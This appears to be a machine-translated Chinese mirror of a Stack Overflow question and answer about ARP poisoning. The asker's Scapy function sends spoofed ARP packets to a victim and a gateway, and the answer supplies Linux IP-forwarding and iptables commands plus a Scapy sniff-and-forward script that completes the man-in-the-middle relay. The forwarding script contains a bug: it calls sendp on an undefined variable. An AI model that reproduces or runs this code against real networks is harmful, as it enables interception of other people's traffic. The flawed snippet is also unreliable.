簡體   English   中英

ARP中毒時轉發數據包

[英]packet forwarding while ARP poisoning

我想在ARP中毒時制作一個“代理”,它可以與UDP一起使用,如果我將pkt發送給google,則可以使用wirehark在我的電腦上看到它

def trick(gate_mac, victim_mac):
    '''Tricks the victim and the gate_way, using arp'''
    my_mac=ARP()
    my_mac=my_mac.hwsrc
    sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
    sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
    print "TRICKED"

那就是我寫給arptoxic的功能,現在我想將從受害者的PC獲得的所有數據包發送到路由器/,但是我不知道如何進行數據包轉發。

您只需激活OS數據包轉發即可。 如果您正在運行Linux,則應使用簡單的sysctl -w net.ipv4.ip_forward=1來完成。

您可能還需要讓數據包通過防火牆;例如iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT應該可以正常工作(如果再次使用Linux)。

在其他操作系統下,您需要了解如何啟用數據包轉發以及在需要時添加防火牆規則。 如果無法啟用數據包轉發,則可以運行另一個Scapy腳本為您轉發數據包。 這是一個例子:

VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
    GATEWAY_MAC: VICTIM_MAC,
    VICTIM_MAC: GATEWAY_MAC,
}

def forward_pkt(pkt):
    pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
    sendp(dst)

sniff(
    prn=forward_pkt,
    filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
                                                      GATEWAY_MAC)
)

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM